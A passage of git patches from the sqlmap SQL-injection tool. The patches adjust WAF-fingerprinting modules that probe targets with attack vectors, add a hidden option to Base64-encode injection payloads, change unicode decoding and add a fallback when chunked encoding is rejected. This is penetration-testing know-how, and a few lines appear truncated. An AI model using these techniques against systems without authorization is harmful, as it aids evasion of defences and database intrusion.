a/waf/secureentry.py +++ b/waf/secureentry.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code >= 400 and re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code >= 400 and re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/secureiis.py b/waf/secureiis.py index 6f496849560..5202cfc26b2 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"SecureIIS[^<]+Web Server Protection", page or "") is not None + retval |= re.search(r"SecureIIS[^<]+Web Server Protection", page or "") is not None retval |= "http://www.eeye.com/SecureIIS/" in (page or "") retval |= re.search(r"\?subject=[^>]*SecureIIS Error", page or "") is not None if retval: diff --git a/waf/securesphere.py b/waf/securesphere.py index be73464d849..cdd6d0a40c8 100644 --- a/waf/securesphere.py +++ b/waf/securesphere.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\d{19}|N/A)", page or "", re.I) is not None + retval |= re.search(r"<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\d{19}|N/A)", page or "", re.I) is not None if retval: break diff --git a/waf/senginx.py b/waf/senginx.py index 3700a5f3655..244a9a0455c 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "SENGINX-ROBOT-MITIGATION" in (page or "") + retval |= "SENGINX-ROBOT-MITIGATION" in (page or "") if retval: break diff --git a/waf/shieldsecurity.py b/waf/shieldsecurity.py index a757620a12c..fdbc750facb 100644 --- a/waf/shieldsecurity.py +++ b/waf/shieldsecurity.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "Something in the URL, Form or Cookie data wasn't appropriate" in (page or "") + retval |= "Something in the URL, Form or Cookie data wasn't appropriate" in (page or "") + if retval: + break return retval diff --git a/waf/siteground.py b/waf/siteground.py index 967a9f44d62..075cc5b1c6b 100644 --- a/waf/siteground.py +++ b/waf/siteground.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "The page you are trying to access is restricted due to a security rule" in (page or "") + retval |= "The page you are trying to access is restricted due to a security rule" in (page or "") if retval: break diff --git a/waf/siteguard.py b/waf/siteguard.py index 586dfee3b5a..34179ffaa72 100644 --- a/waf/siteguard.py +++ b/waf/siteguard.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Powered by SiteGuard", "The server refuse to browse the page")) + retval |= any(_ in (page or "") for _ in ("Powered by SiteGuard", "The server refuse to browse the page")) if retval: break diff --git a/waf/sitelock.py b/waf/sitelock.py index aa532d3893f..b218ea5d947 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -15,7 +15,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("SiteLock Incident ID", '<span class="value INCIDENT_ID">')) + retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", '<span class="value INCIDENT_ID">')) if retval: break diff --git a/waf/sonicwall.py b/waf/sonicwall.py index 2ddaa995b2b..bd8e9a89ef4 100644 --- a/waf/sonicwall.py +++ b/waf/sonicwall.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = "This request is blocked by the SonicWALL" in (page or "") + retval |= "This request is blocked by the SonicWALL" in (page or "") retval |= all(_ in (page or "") for _ in ("#shd", "#nsa_banner")) retval |= re.search(r"Web Site Blocked.+\bnsa_banner", page or "", re.I) is not None retval |= re.search(r"SonicWALL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None diff --git a/waf/sophos.py b/waf/sophos.py index 35c101659ba..b0063d19931 100644 --- a/waf/sophos.py +++ b/waf/sophos.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "Powered by UTM Web Protection" in (page or "") + retval |= "Powered by UTM Web Protection" in (page or "") if retval: break diff --git a/waf/squarespace.py b/waf/squarespace.py index 94ddff71463..69bea6782d8 100644 --- a/waf/squarespace.py +++ b/waf/squarespace.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("BRICK-50", " @ ", "404 Not Found")) + retval |= all(_ in (page or "") for _ in ("BRICK-50", " @ ", "404 Not Found")) if retval: break diff --git a/waf/stackpath.py b/waf/stackpath.py index 212125b0565..a4c46809f10 100644 --- a/waf/stackpath.py +++ b/waf/stackpath.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("You performed an action that triggered the service and blocked your request",)) + retval |= all(_ in (page or "") for _ in ("You performed an action that triggered the service and blocked your request",)) if retval: break diff --git a/waf/sucuri.py b/waf/sucuri.py index 837e7820c97..172dae0bee6 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= "Access Denied - Sucuri Website Firewall" in (page or "") retval |= "Sucuri WebSite Firewall - CloudProxy - Access Denied" in (page or "") retval |= re.search(r"Questions\?.+cloudproxy@sucuri\.net", (page or "")) is not None diff --git a/waf/tencent.py b/waf/tencent.py index c068c6a1f97..f9eb6a2e042 100644 --- a/waf/tencent.py +++ b/waf/tencent.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) - retval = code == 405 and "waf.tencent-cloud.com" in (page or "") + retval |= code == 405 and "waf.tencent-cloud.com" in (page or "") if retval: break diff --git a/waf/trafficshield.py b/waf/trafficshield.py index 3b642255a02..89e10997758 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"F5-TrafficShield", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"F5-TrafficShield", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"\AASINFO=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break diff --git a/waf/urlmaster.py b/waf/urlmaster.py index 55fdbcbc116..95cecabe65b 100644 --- a/waf/urlmaster.py +++ b/waf/urlmaster.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) - retval = code >= 400 and all(_ in (page or "") for _ in ("UrlMaster", "UrlRewriteModule", "SecurityCheck")) + retval |= code >= 400 and all(_ in (page or "") for _ in ("UrlMaster", "UrlRewriteModule", "SecurityCheck")) if retval: break diff --git a/waf/urlscan.py b/waf/urlscan.py index 523ba5389d3..d2a5c0b0c19 100644 --- a/waf/urlscan.py +++ b/waf/urlscan.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None + retval |= re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None retval |= code != 200 and re.search(r"/Rejected-By-UrlScan", page or "", re.I) is not None if retval: break diff --git a/waf/varnish.py b/waf/varnish.py index 440937a295f..8c8690357d4 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) - retval = code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") + retval |= code >= 400 and "Request rejected by xVarnish-WAF" in (page or "") if retval: break diff --git a/waf/virusdie.py b/waf/virusdie.py index 2f5bd77da33..6cc8e5a9372 100644 --- a/waf/virusdie.py +++ b/waf/virusdie.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("| Virusdie", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

", '", "http://cdn.virusdie.ru/splash/firewallstop.png", "© Virusdie.ru

", '= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code >= 400 and re.search(r"\AWatchGuard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= "Request denied by WatchGuard Firewall" in (page or "") if retval: break diff --git a/waf/webknight.py b/waf/webknight.py index f4141686b06..40471dd7fb6 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code == 999 + retval |= code == 999 retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("WebKnight Application Firewall Alert", "AQTRONIX WebKnight")) if retval: diff --git a/waf/webseal.py b/waf/webseal.py index b32c8128510..661ec72bcca 100644 --- a/waf/webseal.py +++ b/waf/webseal.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"WebSEAL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"WebSEAL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("This is a WebSEAL error message template file", "The Access Manager WebSEAL server received an invalid HTTP request")) if retval: break diff --git a/waf/wordfence.py b/waf/wordfence.py index 473273c7787..fa9ee698ef9 100644 --- a/waf/wordfence.py +++ b/waf/wordfence.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("A potentially unsafe operation has been detected in your request to this site", "Generated by Wordfence", "Your access to this site has been limited", "This response was generated by Wordfence")) + retval |= any(_ in (page or "") for _ in ("A potentially unsafe operation has been detected in your request to this site", "Generated by Wordfence", "Your access to this site has been limited", "This response was generated by Wordfence")) if retval: break diff --git a/waf/wts.py b/waf/wts.py index 493a3b19614..eebe282882c 100644 --- a/waf/wts.py +++ b/waf/wts.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = ">WTS-WAF" in (page or "") + retval |= ">WTS-WAF" in (page or "") retval |= re.search(r"\Awts/", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/yundun.py b/waf/yundun.py index 3a5fb2672dd..62dfc6f01ff 100644 --- a/waf/yundun.py +++ b/waf/yundun.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None retval |= "Blocked by YUNDUN Cloud WAF" in (page or "") if retval: diff --git a/waf/yunsuo.py b/waf/yunsuo.py index 543b4c505e3..93f41d655a9 100644 --- a/waf/yunsuo.py +++ b/waf/yunsuo.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code >= 400 and re.search(r"\AZENEDGE", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= all(_ in (page or "") for _ in ("Your request has been blocked", "Incident ID", "/__zenedge/assets/")) if retval: break From 3127d5bf54309a5d1a4cd5b3c435cca31d1905a5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Apr 2019 14:22:36 +0200 Subject: [PATCH 221/800] Initial support for #25 (and #1387) --- lib/core/agent.py | 6 ++++++ lib/core/common.py | 15 ++++++++++++++- lib/core/option.py | 7 +++++++ lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++++ 5 files changed, 32 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index fd79a217074..de9dc2b38c2 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -5,6 +5,7 @@ See the file 'LICENSE' for copying permission """ +import base64 import re from lib.core.common import Backend @@ -164,6 +165,11 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N newValue = self.cleanupPayload(newValue, origValue) + if re.sub(r" \(.+", "", parameter) in conf.base64Parameter: + # TODO: support for POST_HINT + newValue = base64.b64encode(newValue) + origValue = base64.b64encode(origValue) + if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: diff --git a/lib/core/common.py b/lib/core/common.py index 71822047622..3270723d05d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -603,7 +603,20 @@ def paramToDict(place, parameters=None): condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 if condition: - testableParameters[parameter] = "=".join(parts[1:]) + value = "=".join(parts[1:]) + + if parameter in (conf.base64Parameter or []): + try: + oldValue = value + value = value.decode("base64") + parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters) + except: + errMsg = "parameter '%s' does not contain " % parameter + errMsg += "valid Base64 encoded value ('%s')" % value + raise SqlmapValueException(errMsg) + + testableParameters[parameter] = value + if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): _ = urldecode(testableParameters[parameter], convall=True) if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): diff --git a/lib/core/option.py b/lib/core/option.py index 62cb66cc0fd..3794cb1ae88 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1613,6 +1613,13 @@ def _cleanupOptions(): else: conf.testParameter = [] + if conf.base64Parameter: + conf.base64Parameter = urldecode(conf.base64Parameter) + conf.base64Parameter = conf.base64Parameter.replace(" ", "") + conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) + else: + conf.base64Parameter = [] + if conf.agent: conf.agent = re.sub(r"[\r\n]", "", conf.agent) diff --git a/lib/core/settings.py b/lib/core/settings.py index bd4a25fbeab..653ef30d98e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.13" +VERSION = "1.3.4.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 1fe1b0db44c..798fbb4cfa5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -681,6 +681,10 @@ def cmdLineParser(argv=None): help="Simple wizard interface for beginner users") # Hidden and/or experimental options + parser.add_option("--base64", dest="base64Parameter", + help=SUPPRESS_HELP) +# help="Parameter(s) containing Base64 encoded values") + parser.add_option("--crack", dest="hashFile", help=SUPPRESS_HELP) # help="Load and crack hashes from a file (standalone)") From bdf6452af6e47805e6b72789ec3ae82e776b8a50 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Apr 2019 17:19:22 +0200 Subject: [PATCH 222/800] 'Safe' unicode decoding replacements --- lib/core/common.py | 33 +++++++++++++++++++++++++++++++-- lib/core/settings.py | 14 +++++++++++++- 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3270723d05d..2ce0b402680 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -125,6 +125,7 @@ from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE from lib.core.settings import IS_WIN @@ -153,6 +154,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import STDIN_PIPE_DASH @@ -2424,7 +2426,10 @@ def getUnicode(value, encoding=None, noneToNull=False): try: return six.text_type(value, UNICODE_ENCODING) except: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] + if INVALID_UNICODE_PRIVATE_AREA: + value = value[:ex.start] + "".join(unichr(int('000f00%2x' % ord(_), 16)).encode(UNICODE_ENCODING) for _ in value[ex.start:ex.end]) + value[ex.end:] + else: + value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value @@ -2434,6 +2439,30 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances +def getASCII(value): + """ + Returns ASCII representation of provided Unicode value + + >>> getASCII(getUnicode("foo\x01\x83\xffbar")) == "foo\x01\x83\xffbar" + True + """ + + retVal = value + + if isinstance(value, six.text_type): + if INVALID_UNICODE_PRIVATE_AREA: + for char in xrange(0xF0000, 0xF00FF + 1): + value = value.replace(unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) + + retVal = value.encode(UNICODE_ENCODING) + + retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: _.group(1).decode("hex"), retVal) + else: + retVal = value.encode(UNICODE_ENCODING) + retVal = re.sub(r"\\x([0-9a-f]{2})", lambda _: _.group(1).decode("hex"), retVal) + + return retVal + def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences @@ -3339,7 +3368,7 @@ def showHttpErrorCodes(): msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) -def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 653ef30d98e..53427d219f6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.14" +VERSION = "1.3.4.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -65,6 +65,7 @@ REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" SAFE_VARIABLE_MARKER = "__SAFE__" +SAFE_HEX_MARKER = "__SAFE_HEX__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" @@ -714,6 +715,9 @@ # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 +# Use "Supplementary Private Use Area-A" +INVALID_UNICODE_PRIVATE_AREA = False + # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" @@ -827,3 +831,11 @@ _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() if _ in globals(): globals()[_] = value + +# Installing "reversible" unicode (decoding) error handler + +def reversible(ex): + if isinstance(ex, UnicodeDecodeError): + return ("".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in ex.object[ex.start:ex.end]).decode(UNICODE_ENCODING), ex.end) + +codecs.register_error("reversible", reversible) From 1eeb6c1f5b8f149101058d203e14125ccddbf526 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Apr 2019 17:20:04 +0200 Subject: [PATCH 223/800] Related to the #3588 --- lib/core/settings.py | 2 +- lib/core/threads.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 53427d219f6..39a61c59279 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.15" +VERSION = "1.3.4.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index bf871a11d57..5444d460fae 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -100,7 +100,7 @@ def exceptionHandledFunction(threadFunction, silent=False): errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) - if conf.get("verbose") > 1: + if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException,)): traceback.print_exc() def setDaemon(thread): From 9459d5ea1556346c32428789683a580591739183 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Apr 2019 17:35:44 +0200 Subject: [PATCH 224/800] Minor update --- lib/core/common.py | 15 ++++----------- lib/core/settings.py | 13 +++++++------ 2 files changed, 11 insertions(+), 17 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2ce0b402680..15be2daf770 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2419,17 +2419,10 @@ def getUnicode(value, encoding=None, noneToNull=False): except UnicodeDecodeError: pass - while True: - try: - return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) - except UnicodeDecodeError as ex: - try: - return six.text_type(value, UNICODE_ENCODING) - except: - if INVALID_UNICODE_PRIVATE_AREA: - value = value[:ex.start] + "".join(unichr(int('000f00%2x' % ord(_), 16)).encode(UNICODE_ENCODING) for _ in value[ex.start:ex.end]) + value[ex.end:] - else: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] + try: + return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + except UnicodeDecodeError as ex: + return six.text_type(value, UNICODE_ENCODING, errors="reversible") elif isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value diff --git a/lib/core/settings.py b/lib/core/settings.py index 39a61c59279..aa6f2d35d8d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.16" +VERSION = "1.3.4.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -825,7 +825,6 @@ """ # Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) - for key, value in os.environ.items(): if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() @@ -833,9 +832,11 @@ globals()[_] = value # Installing "reversible" unicode (decoding) error handler - -def reversible(ex): +def _reversible(ex): if isinstance(ex, UnicodeDecodeError): - return ("".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in ex.object[ex.start:ex.end]).decode(UNICODE_ENCODING), ex.end) + if INVALID_UNICODE_PRIVATE_AREA: + return ("".join(unichr(int('000f00%2x' % ord(_), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return ("".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in ex.object[ex.start:ex.end]).decode(UNICODE_ENCODING), ex.end) -codecs.register_error("reversible", reversible) +codecs.register_error("reversible", _reversible) From 77cb85f2b8b97f11dd59e2a4ea7f50e0f49b7373 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 10:24:38 +0200 Subject: [PATCH 225/800] Update regarding #3592 --- lib/core/settings.py | 2 +- lib/request/connect.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aa6f2d35d8d..0aaf27b2405 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.15" +VERSION = "1.3.4.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 55eb44579bd..6cf273e9957 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -636,6 +636,11 @@ class _(dict): errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) + elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): + errMsg = "it seems that target site doesn't support " + errMsg += "HTTP chunking (%d). " % code + errMsg += "Please try to rerun without the switch '--chunked'" + raise SqlmapConnectionException(errMsg) elif ex.code == _http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code From 7c7ecc75eca0fbc6cc3f6628799d6220f2a80ddb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 18 Apr 2019 10:36:41 +0200 Subject: [PATCH 226/800] Better implementation for #3592 --- lib/core/settings.py | 2 +- lib/request/connect.py | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0aaf27b2405..5061fe2894a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.16" +VERSION = "1.3.4.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 6cf273e9957..188511194a7 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -637,10 +637,11 @@ class _(dict): errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): - errMsg = "it seems that target site doesn't support " - errMsg += "HTTP chunking (%d). " % code - errMsg += "Please try to rerun without the switch '--chunked'" - raise SqlmapConnectionException(errMsg) + warnMsg = "turning off HTTP chunked transfer encoding " + warnMsg += "as it seems that the target site doesn't support it (%d)" % code + singleTimeWarnMessage(warnMsg) + conf.chunked = kwargs["chunked"] = False + return Connect.getPage(**kwargs) elif ex.code == 